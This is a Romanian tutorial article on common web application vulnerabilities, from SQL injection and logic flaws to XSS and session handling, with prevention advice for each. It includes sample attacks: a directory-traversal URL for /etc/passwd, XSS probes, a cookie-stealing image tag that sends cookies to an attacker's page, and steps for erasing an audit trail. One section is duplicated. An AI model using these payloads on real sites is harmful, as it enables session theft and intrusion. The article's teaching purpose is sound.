Securitatea aplicaţiilor web a€“ cele mai întâlnite vulnerabilităţi/atacuri şi metode de apărare împotriva lor

Nota editorului : Articolul a fost scris de Claudette.

În zilele noastre cea mai mare parte a informaţiei, de care avem nevoie atât în viaţa de zi cu zi cât şi în mediile profesionale şi de studii, se găseşte pe internet. Fie că este vorba despre ultimele ştiri, ultimele activităţi ale prietenilor şi familiei, cărţi, achiziţionarea diverselor produse disponibile în magazinele virtuale sau chiar e-banking, folosim această minunată unealtă aparent bună la toate, internetul. Însă, ceea ce majoritatea utilizatorilor nu ştiu despre internet este că, pe cât este de atractiv pe atât este de vulnerabil în faţa atacurilor cibernetice.

Acestea sunt cele mai mai des întâlnite vulnerabilităţi ale aplicaţiilor web, după clasamentul celor de la Trustwavea€™s Global Security pentru anul 2011:

1. SQL Injection
2. Logic Flaw
3. Authorization Bypass
4. Cross-site Scripting (XSS)
5. Authentication Bypass
6. Vulnerable Third Party Software
7. Session Handling Flaw
8. Cross-site Request Forgery (CSRF)
9. Verbose Errors
10. Source Code Disclosure

1. SQL Injection

Majoritatea proiectelor web, folosesc baze de date pentru a-şi stoca şi ordona datele. Structured Query Language (SQL) este folosit pentru a accesa informaţiile dintr-o bază de date, sintaxa acesteia poate să difere puţin în cazul diferitelor servere de bazele de date, însă, SQL este un limbaj universal potrivit pentru toate bazele de date.
O vulnerabilitate numită injecţie cu cod sursă SQL (pe scurt injecţie SQL) apare atunci când un atacator poate introduce orice date într-o interogare SQL sau când, prin injectarea sintaxei, logica declaraţiei, să fie modificată în asemenea fel încât să execute o acţiune diferită. Injecţia SQL poate fi crucială pentru sistem dar, în ciuda pericolului pe care îl prezintă, este una din cele mai frecvente vulnerabilităţi.

Atacul: Metode de prevenire a atacurilor de tip SQL injection:

Metodele de apărare împotriva atacurilor ar trebui să fie adresate direct tipurilor de atac specifice bazelor de date şi să poată minimiza impactul unui breşe în cazul în care una din metodele de apărare s-a dovedit inadecvată. Cea mai bună metodă de apărare împotriva injecţiilor SQL se bazează pe rutine puternice de validare a datelor de intrare.
Există măsuri specifice care pot fi luate în cadrul bazei de date şi la nivelul aplicaţie:
• Utilizaţi variabile bine definite şi definiţiile coloanelor bazei de date: Stocaţi şi manipulaţi numerele (ID-uri de sesiune, coduri poştale, date de naştere) ca şi numere întregi sau că alte tipuri numerice potrivite. String-urile (varchars) ar trebui să conţină doar caractere alfanumerice şi să respingă semnele de punctuaţie şi caracterele specifice sintaxei SQL.
• Atribuiţi rezultatele interogării unei variabile bine definite: dacă aplicaţia caută valori numerice atunci atribuiţi rezultatul unui număr întreg, acest lucru îi împiedică pe atacatori să extragă informaţii din baza de date. Nu este posibil să fie obţinut şi afişat numele unei coloane dacă variabila ce urmează să fie afişată în browser nu acceptă decât numere întregi. Această tehnică restricţionează sever anumite atacuri.
• Limitaţi lungimea datelor: toate şirurile de caractere ar trebui să se limiteze la o lungime potrivită scopului lor. Un nume de familie, de exemplu, nu este necesar să fie stocat şi manipulat într-o variabila care utilizează 256 de caractere. Limitarea numărului de caractere care poate fi introdus într-un câmp poate împiedica în mod eficient succesul unei injecţii SQL, reducând, lungimea şirului de caractere pe care atacatorul îl poate introduce în cod.
• Evitaţi crearea de interogări prin concatenarea de şiruri de caractere: creaţi o funcţie view sau o procedura, care operează asupra variabilelor furnizate de aplicaţie. Concatenarea şirurilor de caractere, unde interogarea este formată direct din datele furnizate de utilizatori (de genul: „œSELECT something FROM table WHERE” + variablea), este cea mai vulnerabilă la atacurile SQL Injection. Pe de altă parte, o funcţie view sau o procedură particularizată, de obicei generaza o eroare dacă primeşte date de intrare incorecte, însă, nu îi va permite unui atacator să manipuleze întreagă intrerogare.
• Aplicaţi separarea datelor şi accesul pe baza de rol în interiorul bazei de date: aplicaţia ar trebui să folosească un cont care are privilegii de acces doar pentru tabelele necesare ei. Cataloagele interne ale bazei de date, în special cele legate de managementul conturilor şi variabilele sistemului, nu ar trebui să fie accesibile.

2. Logic Flaw

Toate aplicaţiile web folosesc logica pentru a avea funcţionalitate. A scrie cod într-un limbaj de programare, nu înseamnă nimic altceva decât descompunerea unui process complex în paşi mici şi simplii, pentru, a aduce ceea ce este pe înţelesul oamenilor la nivelul la care poate fi executat de către computer iar atunci când un număr mare de programatori şi designer diferiţi, lucrează în paralel la aceeaşi aplicaţie, există şanse foarte mari să apară erori.
Până şi pentru dezvoltarea celor mai simple aplicaţii web este nevoie o cantitate mare de logică pentru fiecare etapă. Această logică prezintă oportunitatea pentru erori logice, iar erorile logice oferă o bază foarte mare şi variată de atac, de multe ori, însă, sunt trecute cu vedrea deoarece, rareori, poat fi scanate cu programe specializate în scanarea vulnerabilităţilor, nu au o semnătură specializată ca şi vulnerabilităţile la injecţiile SQL sau cross-site scripting şi sunt mai greu de recunoscut şi caracterizat.
Erorile logice apar atunci când programatorul sau dezvoltatorul aplicaţiei web nu se gândeşte la toate efectele pe care le poate avea asupra aplicaţiei codul scris de el, luând în considerare un anumit efect (cel pe care el intenţionează să-l implementeze în primul rând) şi omiţând alte efecte posibile (secundare). Deoarece, în general, sunt mai greu de înţeles şi nu sunt apreciate ca şi vulnerabilităţi atât de grave, ele, prezintă un interes foarte mare pentru atacatori.
Defectele logice nu pot fi definite şi învăţate prin terorie, deci, cea mai bună metodă de explicare a lor este prin exemplu concret.

Exemple:

• Păcălirea funcţiei pentru schimbarea parolei: autorii au descoperită această eroare de logică într-o aplicaţie web utilizată de către o societate de servicii financiare şi, de asemenea, în aplicaţia AIM Enterprise AOL Gateway.
Functionaliatea: aplicaţia constă într-o funcţie pentru schimbarea parolei de către utilizatorii finali, în care trebuiau completate câmpurile: nume, parola actuală, noua parolă şi confirmarea noii parole. De asemenea venea cu o funcţie care permitea schimbarea parolei de către administrator, prin care aceştia puteau schimba parolă oricărui utilizator fără a li se cere să introducă vechea parolă. Cele două funcţii au fost puse în aplicare în cadrul aceluiaşi script pe partea serverului.
Presupunerea: Interfeţele afişate clienţilor şi administratorilor difereau într-un singur aspect a€“ cea afişată administratorului nu avea câmpul pentru introducerea vechii parole. Aşadar când serverul procesa o schimbare de parolă, utiliza prezenţa sau absenţa vechii parole pentru a determina dacă carerea a fost făcută de un administrator sau de un utilizator obişnuit. Cu alte cuvinte, eroarea logică, a constat în faptul că programatorii au presupus că utilizatorii obişnuiţi for furniza intotdeuna vechea parolă.

 String existingPassword = request.getParameter(a€œexistingPassword”); 
 if (null == existingPassword) 
 { 
 trace("Old password not supplied, must be an administrator”); 
 return true; 
 } 
 else 
 { 
  	 Trace("€œVerifying usera€™s old password”); 
   	 ... 
 } 

Atac : Odată ce ipoteza a fost formulată în mod explicit în acest mod, eroarea logică devine evidentă, din moment ce utilizatorii controlează fiecare aspect al cererilor pe care le emit, pot alege să completeze sau nu câmpul care cere vechea parolă. Acest defect logic s-a dovedit a fi devastator pentru aplicaţie, deoarece, permitea unui atacator să resteteze parola oricărui alt utilizator preluând, astfel, controlul asupra contului acestuia.

• Ştergerea unei piste de audit: acest defect logic a fost descoperit într-un centru de telefonie.
Funcţionalitate: aplicaţia a implementat diverse funcţii care permiteau personalului de la biroul de asistenţă şi administratorilor să gestioneze o bază de date de mari dimensiuni. Multe din aceste funcţii se refereau la informaţii securizate, inclusive crearea de conturi şi schimbarea de parole, aşadar, aplicaţia a menţinut o gestiune complete de audit, înregistrând fiecare acţiune efectuată şi identitatea utilizatorului care a responsabil. Aplicaţia includea o funcţie care le permitea administratorilor să sterga anumite înregistrări de audit, însă pentru a evita exploatarea în scopuri rău-voitoare, orice utilizare a funcţiei de ştergere era la rândul ei înregistrată, pentru a se putea şti utilizatorul responsabil de utilizarea acestei funcţii.
Presupunerea: designerii aplicaţiei au crezut că nimeni nu poate şterge înregistrările de audit fără a lasă măcar o urmă (această presupunere a fost testată de către administratorii lor, intotdeuna rămânând ultima înregistrare a persoanei care a şters datele).
Atac: presupunerea designerilor a fost greşită, există o cale de a accesa datele, a produce modificări asupra lor şi de a îţi şterge urmele în întregime. Paşii sunt următorii:

Autentificarea cu contul propriu, şi creaţi un nou cont de utilizator.
Atribuiţi toate privilegiile dumneavoastră noului cont.
Utilizaţi noul cont pentru a duce atacul la capăt.
Utilizaţi un nou cont pentru a şterge toate înregistrările generate de primele trei etape.
Fiecare din acţiuni generează înregistrări în jurnalul de audit, dar pentru că în ultima fază ultimul cont şterge toate datele legate de intrările precedente, în jurnalul de audit este indicat doar faptul că ce-l de-al doilea cont nou creat a şters toate datele, dar cum cel care i-a dat privilegii noului cont este primul cont nou creat, şi cum înregistrările legate de cine a creat acest cont au fost şterse, nu există nimic care să poată lega identitatea persoanei care deţine contul care a dus la capăt atacul, de contul iniţial al persoanei care a pornit atacul. Crima perfectă.

Prevenirea apariţiei defectelor logice:
Nu există nici o reţetă perfectă de a evita erorile logice, ci doar o serie de sfaturi care va poat ajuta să evitaţi aceste erori:
• Documentaţi toate aspectele legate de designul aplicaţiei suficient de detaliat pentru a putea fi uşor înţelese de cineva din exterior.
• Lăsaţi comentarii în codul sursă care să includă următoarele informaţii:

Scopul şi funcţionalitatea fiecărei bucăţi de cod.
Presupunerile făcute de fiecare componentă în legătură cu elementele care nu se află direct sub controlul ei.
Adăugaţi comentarii pentru fiecare bucată de cod care să facă trimitere la toate componentele care îl folosesc.

• În timpul recenziilor de securitate referitoare la cod, plecaţi de la ideea pe care a avut-o designerul şi mergeţi înspre modul în care ar putea influenţa utilizatorii aplicaţia.
• În timpul verificării de securitate puneţi accent pe modul în care se comportă aplicaţia în momentul în care sunt introduse date eronate şi efectele produse asupra dependenţelor şi interoperabilităţilor dintre diversele component ale codului.

3. Authorization Bypass

Procesul prin care se stabileşte dacă un utilizator, care foloseşte o anumită identitate, are permisiunea de a accesa o resursă sau nu, şi după verificare acordându-i-se accesul la acea resursă, în concordanţă cu politicile sistemului, indiferent de identitalea lui/ei reală (aici ne referim la aplicaţii web unde în general utilizatorii nu îşi folosesc numele reale ci pseudonime) poartă numele de autorizaţie.
Vulnerabilităţile ce ţin de autorizaţii şi acces pot apărea oriunde în aplicaţia web, şi se referă la ce se întâmplă atunci când un atacator are acces la o resursă, la care, în mod normal au acces doar utilizatorii autentificati sau care deţin anumite privilegii în acele aplicaţii.
Vulnerabilităţi comune sunt:
• Traversarea de directoare
• Evitarea unor mecanisme de autorizare
• Creştere a privilegiilor
Serverele restricţionează utilizatorii care navighează pe un site la documentul rădăcină al acestuia, a cărui localizare depinde de sistemul de operare instalat pe server, şi adiţional în funcţie de permisiunile de citire/scriere/execuţie pe care le are utilizatorul respectiv le are asupra fişierelor de pe server. Subminarea unui script de execuţie pentru a traversa directoarele serverului şi a citi fişiere protejate cum ar fi /etc/passwd este cunoscută ca atac cu traversare de directoare.
Cum aproape toate aplicaţiile web folosesc roluri (ex: utilizator neautentificat/ utilizator autentificat/ administrator) care pot avea diferite nivele de acces, oricând un atacator a reuşit să acceseze un privilegiu restricţionat nivelului lui/ei de acces, a reuşit să evite mecanismul de autorizare, acest lucru se face de obicei prin shimbarea rolului într-unul superior.

Atacul:

Avem sursa: http://www.exemplu.com/index.php?page=login. Un atatc tip traversare de directoare al cărui scop este de a afişa fişierul /etc/passwd poate fi realizat prin a schimba URL-ul în: http://www.exemplu.com/index.php?page=../../../../../../../etc/passwd.
Luaţi în considerare o cerere HTTP făcută unui administrator pentru a reseta parola unui utilizator: Post / admin / resetPassword.jsp HTTP/1.1
Realizator: www.examplu.com
[HTTP Headers] utilizator = admin & newpassword = parolă
Dacă atacatorul poate face o cerere identică şi aplicaţia web resetează parola unui cont de administrator, atacatorul evită mecanismul de autentificare, deoarece această funcţie era gândită pentru a fi folosită doar de administratorii aplictiei, într-un sens este o creştere a privilegiilor deoarece un non-administrator poate folosi funcţia de resetare a parolelor şi obţine acces la contul de administrator cu noua parolă.

Metode de prevenire a atacurilor de tip Authorisation Bypass:

Cele mai simple metode de protecţie împotriva acestui tip de atac sunt validarea datelor introduse de utilizatori şi urmărirea metodelor de proiectare sigură. Este important să fie identificată din timp orice parte a aplicaţiei web care poate fi folosită într-un eventual atac informatic, acest lucru nu se referă doar la câmpurile în care utilizatorul poate introduce date, ci şi la orice valoare pe care utilizatorul o poate modifică şi trimite prin intermediul unui proxy, cum ar fi datele din cookie-uri, câmpurile ascunse, etc. Aceste date ar trebui validate corespunzător înainte de a putea trece mai departe.
Utilizaţi de asemenea principiul de a da cât mai puţine privilegii utilizatorului, cu cât acesta care mai puţine privilegii cu atât scad şansele de a putea duce la capăt un atac asupra aplicaţiei web.

4. Cross-site Scripting (XSS)

XSS este o tehnică de atac, folosit pentru a forţa o pagină web să afişeze un cod maliţios (scris, de obicei, în HTML (Hypertext Markup Language)/ JavaScript (numit malware)), pe care îl execută ulterior în browser-ul unui utilizator. Acest tip de atac, nu are ca ţintă serverul site-ului web, (acesta este doar o gazdă), ci codul malware este executat direct în browser, deoarece, adevărata ţintă a atacului este utilizatorul. Hackerul va folosi doar site de încredere pentru a efectua atacul , şi odată ce are control asupra browser-ului utilizatorului, îl va putea folosi pentru a îi: fura un cont victimei, înregistrarea tastelor apăsate de la tastatură victimei, furtul înregistrărilor din istoricul browser-ului, etc.
Pentru a infecta un browser, trebuie să vizitaţi o pagină care conţine malware JavaScript.
Sunt mai multe modalităţi prin care un malware scris în JavaScript poate deveni rezident pe o pagină web:
• Proprietarul paginii web îl poate încărca intenţionat.
• Pagina web poate primi un deface folosind o vulnerabilitate a reţelei sau a straturilor sistemului de operare, iar parte din codul introdus să fie malware JavaScript.
• Poate fi folosită o vulnerabilitate permanentă la XSS, iar malware-ul să fie injectat într-o zonă publică a paginii web.
• Victima poate accesa un link special pregătit în spatele căruia se ascunde un XSS non-persistent sau bazat pe Document Object Model (DOM).

Atacul:

Non-persistent:
Dacă atacatorul doreşte să atace prin XSS pagina http://vulnerabil/, un site de comerţ electronic mai întâi trebuie să găsească o vulnerabilitate la XSS. Pentru asta acesta caută un parametru de unde utilizatorul poate trimite mesaje la server şi la care primeşte mesaje înapoi (de obicei un câmp pentru căutare).
Dacă introduce a€œtest pentru xss” în câmpul de căutare răspunsul va fi un nou url cu un şir de interogare care conţine testez+pentu+xss că şi valoare a parametrului p. Această valoare poate fi schimbată dacă introducem codul HTML/JavaScript: „><script>alert(‘XSS%20Testing’). Ca şi rezultat pagina va afiza o fereastră de dialog inofenseiva (după instrucţiunea din cod) care este acum parte din pagină, demonstrând succesul codului care acum face parte http://vulnerabil/. De aici URL-ul poate fi modificat să conţină atacuri XSS mai complexe (ex: furtul de cookie-uri).

Bazat pe DOM:
Atacul XSS bazat pe DOM este o formă unică de cross-site scripting (xss), foarte similară cu cel non-persistent dar fără a fi nevoie să trimitem un mesaj şi să aşteptăm răspuns. Considerăm pagina de comerţ electronic din exemplul următor, doar că are o caracteristică în plus pentru afişarea promoţiilor şi că interogările din URL-urile pentru afiseare produselor îşi trag datele direct din backend-ul bazei de date (ex: id_produs) pentru a le afişa utilizatorului.
Putem manipula URL-urile pentru a afişa mesaje diferite sau putem adaugă malware la sfârşitul URL-ului în acest fel:
Din: http://vulnerabil/promo?product_id=100&title=Last+Chance!
În: http://victim/promo?product_id=100&title=Foo#<script>alert(‘XSS%20Testing’)</script>
În acest caz JavaScript-ul de pe partea clientului are încredere orbeşte în datele conţinute de URL şi le afişează pe ecran. Ce face acest stil de atac XSS diferit este că nu se trimite codul malware la serverul web, ci fragmentul din URL nou adăugat îi spune browser-ului în ce punct al documentului curent să sară (rămâne în cadrul DOM, de aici şi numele).
Persistent:
Atac XSS persistent sau injecţie cu cod HTML nu necesită link-uri special pentru execuţie, tot ce trebuie hackerul să facă este să adauge codul XSS într-o parte a paginii web care are potenţial mare de a fi vizitată de către utilizatori (comentariile de pe bloguri, posturile de pe forumuri, chaturi, etc.). Odată ce utilizatorul vizitează pagina infectată, execuţia este automată ceea ce face a acest tip de atac să fie mult mai periculor decât primele două, deoarece, nu există cale prin care utilizatorul se poate apăra, şi până, şi utilizatorii care ştiu despre această vulnerabilitate pot fi uşor compromişi.

Metode de prevenire a atacurilor de tip Cross-site scripting (XSS):

Codificarea datelor de intrare şi de ieşire au fiecare argumentele lor pozitive şi negative. Partă pozitivă a codificării datelor de intrare vă oferă un singur punct de acces, în timp ce, codarea datelor de ieşire va ofere posibilitatea de a face faţă tuturor utilizărilor textului şi poziţionarea acestuia în pagina. Părţile negative sunt că nici codarea datelor de intrare nu poate opri un atac XSS persistent odată ce a fost stocat, iar codarea datelor de ieşire nu poate opri alte forme de atac, cum ar fi injecţia cu cod SQL, deoarece intervine prea târziu. Există un număr de soluţii de a vă proteja în calitate de client. Nişte idei simple sunt: alegerea unui browser securizat, folosirea unei maşini virtuale, de a accesă doar link-urile cunoscute, şi a avea grijă la ce informaţii divulgaţi depre conturile dumneavoastră, aceste precauţii pot face o mare diferenţă.

• Filtrarea:

Filtrarea poate produce rezultate neaşteptate dacă nu monitorizaţi atent datele de ieşire.
Folosirea unei bucle poate reduce riscurile asociate cu filtrarea de conţinut.
Doar filtrarea, fără folosirea altor metode, poate introduce noi riscuri prin crearea unor noi tipuri de atac, aşadar, este important să înţelegeţi în ce ordinte trebuie filtrele aplicate şi cum interacţionează unul cu celalat.

• Codarea datelor de intrare:

Poate crea un singur punct de intrare a datelor pentru toate codarile.
Vă poate proteja împotriva la mai mult decât de vulnerabilitatea la XSS, va poate proteja, de asemenea, de injecţii cu cod SQL şi injecţii de comandă care pot fi verificate înainte de a stoca informaţii în bază de date.
Nu poate opri atacurile persistente de tip XSS odată stocate.

• Codarea datelor de ieşire:

Este mai detaliat şi poate lua şi contextul în considerare.
Se poate că dezvoltatorii să trebuiască să efectueze codarea de mai multe ori pentru aceeaşi locaţie acolo unde este trimisă informaţia.

• Securitatea browser-ului web:

Evitaţi URL-urile prea lungi sau prea complexe, acestea sunt cel mai probabil să conţină vulnerabilităţi.
Nu accesaţi URL-uri necunoscute primite prin e-mail, dacă este posibil.
Alegeţi un browser sigur şi personalizaţi-va setările de securitate pentru a reduce riscul de atac.

5. Authentication Bypass

Autentificarea dovedeşte, într-o oarecare măsură, identitatea unei persoane sau entităţi. De exemplu, toţi folosim parole pentru a ne loga în conturile personale de e-mail. Prin asta ne dovedim identitea. Paginile web folosesc certificate Secure Socket Layer (SSL) pentru a valida că traficul provine într-adevăr de la domeniul solicitat de către site, acest lucru ne asigura că site-ul este cel adevărat şi nu o copie. Atacatorul are două opţiuni pentru a sparge un sitem de autentificare: utilizarea unei parole furate sau evitarea verificării autentificării. Pentru indentifică şi monitoriza activitatea unui utilizator pe o pagina web, acestuia îi se atribuie un token de sesiune unic de obicei sub formă de cookie-uri. Acest lucru ajută site-ul web să îşi diferenţieze utilizatorii între ei şi li se atribuie utilizatorilor atunci când accesează pagină web, înainte că aceştia să se autentifice (odată autentificati site-ul atribuie cookie-ul utilizatorului respectiv.
Odată autentificat utilizatorul respective este identificat doar după cookie-ul de sesiune, deci dacă un atacator îl compromite, ghicindu-i valoarea sau furându-l, reuşeşte să treacă cu success de mecanismul de autentificare a paginii respective şi să îi ia locul victimei.

Atacul:

Cookie-urile de sesiune pot fi compromise prin mai multe metode:

• Cross-site scripting (XSS): dacă atributul HttpOnly nu este setat JavaScript poate accesă obiectul document.cookie. Cea mai simplă formă de atac <img src=”€™http://paginaatacatorului/”€™ +escape(cookie-ul documentului)/> acest cod trimite numele cookie-ului=valoare unui site unde atacatorul poate vedea traficul venit din exterior.
• Cross-site request forgery (CSRF): atacatorul exploatează indirect sesiunea unui utilizator, pentru asta victimă trebuie să fie deja autentificată pe site-ul ţintă. Atacatorul plasează o pagină capcană pe un alt site, când victimă vizitează pagină infectată, browser-ul face în mod automat o cerere către pagină ţintă folosind cookie-ul de sesiune al victimei.
• SQL Injection: unele aplicaţii web stochează cookie-urile de sesiune într-o bază de date, în loc să le stocheze într-un sistem de fişiere sau spaţiul de memorie al serverului web, dacă un atacator sparge bază de date, poate fură cookie-urile de sesiune.
• Network snifffing: HTTPS incripteaza traficul dintre browser şi pagină web pentru a oferi confidenţialitate şi integritate comunicaţiilor dintre ele, majoritatea formularelor de autentificare sunt trimise prin HTTPS, însă majoritatea aplicaţiilor web folosesc HTTP pentru restul paginilor, HTTPS protejează parolă utilizatorului, în timp ce, HTTP expune cookie-ul de sesiune în văzul tuturor, mai ales prin reţelele wireless din locurile publice (cafenele, aeroporturi, şcoli, etc.).

Metode de aparare impotriva atacurilor de tip authentication bypass:

Autentificarea dovedeşte, într-o oarecare măsură, identitatea unei persoane sau entităţi. De exemplu, toţi folosim parole pentru a ne loga în conturile personale de e-mail. Prin asta ne dovedim identitea. Paginile web folosesc certificate Secure Socket Layer (SSL) pentru a valida că traficul provine într-adevăr de la domeniul solicitat de către site, acest lucru ne asigura că site-ul este cel adevărat şi nu o copie. Atacatorul are două opţiuni pentru a sparge un sitem de autentificare: utilizarea unei parole furate sau evitarea verificării autentificării. Pentru indentifică şi monitoriza activitatea unui utilizator pe o pagina web, acestuia îi se atribuie un token de sesiune unic de obicei sub formă de cookie-uri. Acest lucru ajută site-ul web să îşi diferenţieze utilizatorii între ei şi li se atribuie utilizatorilor atunci când accesează pagină web, înainte că aceştia să se autentifice (odată autentificati site-ul atribuie cookie-ul utilizatorului respectiv.
Odată autentificat utilizatorul respective este identificat doar după cookie-ul de sesiune, deci dacă un atacator îl compromite, ghicindu-i valoarea sau furându-l, reuşeşte să treacă cu success de mecanismul de autentificare a paginii respective şi să îi ia locul victimei.

Atacul:

Cookie-urile de sesiune pot fi compromise prin mai multe metode:

• Cross-site scripting (XSS): dacă atributul HttpOnly nu este setat JavaScript poate accesă obiectul document.cookie. Cea mai simplă formă de atac acest cod trimite numele cookie-ului=valoare unui site unde atacatorul poate vedea traficul venit din exterior.
• Cross-site request forgery (CSRF): atacatorul exploatează indirect sesiunea unui utilizator, pentru asta victimă trebuie să fie deja autentificată pe site-ul ţintă. Atacatorul plasează o pagină capcană pe un alt site, când victimă vizitează pagină infectată, browser-ul face în mod automat o cerere către pagină ţintă folosind cookie-ul de sesiune al victimei.
• SQL Injection: unele aplicaţii web stochează cookie-urile de sesiune într-o bază de date, în loc să le stocheze într-un sistem de fişiere sau spaţiul de memorie al serverului web, dacă un atacator sparge bază de date, poate fură cookie-urile de sesiune.
• Network snifffing: HTTPS incripteaza traficul dintre browser şi pagină web pentru a oferi confidenţialitate şi integritate comunicaţiilor dintre ele, majoritatea formularelor de autentificare sunt trimise prin HTTPS, însă majoritatea aplicaţiilor web folosesc HTTP pentru restul paginilor, HTTPS protejează parolă utilizatorului, în timp ce, HTTP expune cookie-ul de sesiune în văzul tuturor, mai ales prin reţelele wireless din locurile publice (cafenele, aeroporturi, şcoli, etc.).

Mecanismele de sesiune şi autentificare a unui site trebuie să fie folosite în cadrul unor practici bune de securitate, deoarece fără măsuri bune de contraatac, o slăbiciune într-o parte a aplicaţiei web poate cu uşurinţă compromite o altă parte a acestuia.

6. Vulnerable Third Party Software

Când vine vorba de aplicaţii care provin de la alte companii, majoritatea designerilor şi proprietarilor de aplicaţii web presupun, că acestea sunt sigure, şi nu le mai testează înainte de implementare ceea ce poate duce la breşe grave de securiate ale aplicaţiei web. Multe aplicaţii web provenite din terţe părţi sunt nesigure şi de multe ori interfeţele acestor programe vin cu un nume de utilizator implicit şi parolă a€œadmin”. Această este o breşă gravă de securitate deoarece, fiind atât de uşor de a€œghicit” numele de utilizator şi parolă, un atacator poate accesa orice parte a aplicaţiei web, inclusive cea a consolei de comandă, în care poate introduce date cu care poate manipulă direct sistemul de operare pe care se bazează serverul aplicaţiei respective, aşa poate obţine date privilegiate, şterge/modifică bază de date a aplicaţiei, poate schimbă rolurile utilizatorilor, etc.
De asemenea, aplicaţiile web provenite din terţe surse, pot fi vulnerabile la toate atacurile la care pot fi vulnerabile şi aplicaţiile web făcute de noi (XSS, SQL injection, etc.)
Pentru a va proteja de breşe de securitate, oricând adăugaţi un nou software aplicaţiei dumneavoastră web, nu faceţi presupuneri că sunt sigure, sau că au fost testate amănunţit înainte de a fi scoase pe piaţă şi toate problemele rezolvate, ci testatile dumneavoastră cât puteţi de amănunţit pentru a va asigura că nu veţi avea probleme mai târziu. O eroare apărută într-un program vă pot pune în pericol întreagă aplicaţie web.

Raportul Verizon pentru 2011 cu privire la investigarea furturilor de date arată că:

• 66% din aplicaţiile făcute de industria de software prezintă un nivel inacceptabil de scăzut al securităţii la eliberarea pe piaţă.
• 72% din produsele dedicate securităţii şi programele de service au o caliatate a securităţii inacceptabilă: cele mai grave probleme au fost descoperite la programele de asistentă pentru clienţi (82% inacceptabile), uramate de programele de securitate (72%).
• Dezvoltatorii au nevoie de mai mult train-ing în legătură cu securitatea programelor: mai mult de jumătate din dezvoltatorii care au dat examenul de principii de bază ale securităţii aplicaţiilor au luat 5 sau mai puţin.
• Între programele publice şi cele private ale furnizorilor de software s-au găsit foarte puţine diferenţe
• Industria de software se mişcă rapid pentru a remedia erorile: 90% din programe au atins nivele acceptabile de securitate în 30 de zile de la lansarea pe piaţă.
• Vulnerabilitatea la injecţiile cu cod SQL scade încet.
• Construirea de software bine securizat nu trebuie să consume mult timp.

Nu există nici o aplicaţie care este 100% lipsită de vulnerabilităţi, însă, puteţi încerca să reduceţi cât mai mult aceste probleme, dar acest lucru nu se va întâmpla decât dacă testaţi amănunţit întreaga aplicaţie web pentru a descoperi punctele ei slabe şi a încerca să le remediati. Nu faceţi presupuneri când este vorba de securitate.

7. Session Handling Flaw

Autentificarea şi managementul de sesiune includ toate aspectele ce ţin de manipularea datelor de autentificare ale utilizatorului şi managemnetul sesiunilor active ale acestuia. Autentificarea este un process critic al acestui aspect, dar până şi cel mai solid proces de autentificare poate fi subminat de erori ale funcţiilor de management pentru verificarea credentialelor, incluzând: schimarea parolelor, funcţia de recuperare a parolelor uitate, funcţia de amintire a parolelor de către aplicaţia web, update-uri ale conturilor, şi alte funcţii legate de acestea. Pentru a evita astfel de probleme, pentru orice fel de funcţii legate de managementul conturilor, ar trebui să ceară reautentificarea utilizatorului, chiar dacă acesta are un id de sesiune valid.
Autentificarea utilizatorilor pe internet, de obicei, necesită un nume de utilizator şi o parolă. Există metode mai bune de autentificare pe piaţă de tip hardware şi software bazate pe token-uri criptate şi biometrie, însă acestea nu sunt foarte răspândite datorită costurilor mari de achiziţionare. O gamă largă de erori legate de conturi şi managementul sesiunilor rezultă în urma compromiterii conturilor utilizatorilor sau celor de administrare a sistemului.
Echipele de dezvoltate, de cele mai multe ori, subestimează complexitatea necesară pentru a proiecta o metodă de autentificare şi management al sesiunilor care să protejeze corespunzător credentialele, în toate aspectele aplicaţiei web. Paginile web au nevoie de sesiuni pentru a putea monitoriza valul de cereri venit de la fiecare utilizator în parte, cum HTTP nu poate face acest lucru, fiecare aplicaţie web trebuie să şi-l facă singură. De cele mai multe ori, mediul aplicaţiilor web oferă asemenea capabilităţi, însă mulţi dezvoltatori preferă să îşi creeze propriile token-uri de sesiune.
Dacă toate credentialele de autentificare şi identificatorii de sesiune nu sunt protejate corespunzător, prin SSL în permanenţă, protejate împotriva divulgării şi alte tipuri de erori, cum ar fi vulnerabilitatea la cross-site scripting, un atacator poate fura sesiunea unui utilizator şi să îşi asume identitatea acestuia.
Toate serverele web, serverele de aplicaţii şi mediile aplicaţiilor web cunoscute sunt susceptibile la problemele legate de evitatea mecanismelor de autentificare şi de management al sesiunilor. Acest gen de vulnerabilitate se bazează mult pe eroare umană şi tehnologii care nu îndeplinesc standardele de securitate necesare.

Metode de prevenire a vulnerabilităţilor legate de managementul sesiunilor:

• Complexitatea parolelor: parolele ar trebui să aibă restricţii care cer un număr minim de caractere şi de complexitate, de asemenea ar trebui să li se ceară utilizatorilor să îşi schimbe periodic parola şi să le fie interzis să refolosească o parolă veche.
• Utilizarea de parole: utilizatorilor ar trebui să le fie limitat numărul de logări pe care le pot încerca într-o anumită unitate de timp iar tentativele eşuate de autentificare ar trebui logate, însă parolele introduse nu ar trebui înregistrate, deoarece acest lucru poate expune parola utilizatorului, oricui reuşeşte să obţină accesul la loguri. Sistemul, de asemenea nu trebuie să indice motivul pentru care procesul de autentificare nu a reuşit, iar utilizatorul să fie informat cu privire la data ultimei autentificări reuşite, şi numărul de autentificări nereuşite de atunci.
• Comenzile de schimbare a parolelor: ar trebui folosit un singur mecanism de schimbare a parolelor indiferent de circumstanţele în care acest lucru se inatmpla. Utilizatorul să trebuiască întotdeauna să scrie vechea parolă şi noua parolă de fiecare dată. Dacă parolele uitate sunt trimise utilizatorului prin e-mail, sistemul ar trebui să-i ceară utilizatorului să se reautentifice atunci când îşi schimbă adresa de e-mail, altfel un atacator care are acces la token-ul de sesiune temporar al utilizatorului, poate pur şi simplu să schimbe adresa la care să fie trimisă parola a€œuitata”.
• Stocarea parolelor: toate parolele trebuie criptate sau sub formă de hash-uri indiferent de locul unde sunt stocate. Este de preferat stocarea sub formă de hash-uri deoarece acestea nu sunt reversibile.
• Protejarea ID-ului de sesiune: în mod ideal, întreaga sesiune a utilizatorului ar trebui protejată prin SSL (în acest mod cookie-ul de sesiune nu ar putea fi furat).
• Liste de conturi: sistemele ar trebui proiectate în aşa fel încât să nu permită accesul utilizatorilor la lista de conturi înregistrate pe site. Dacă este imperativ să fie prezentată o listă de acest gen se recomandă folosirea pseudonimelor în locul numelor reale. În acest fel, pseudonimul nu poate fi folosit pentru logare în cont în timpul unei încercări de autentificare a unui atacator pe site.
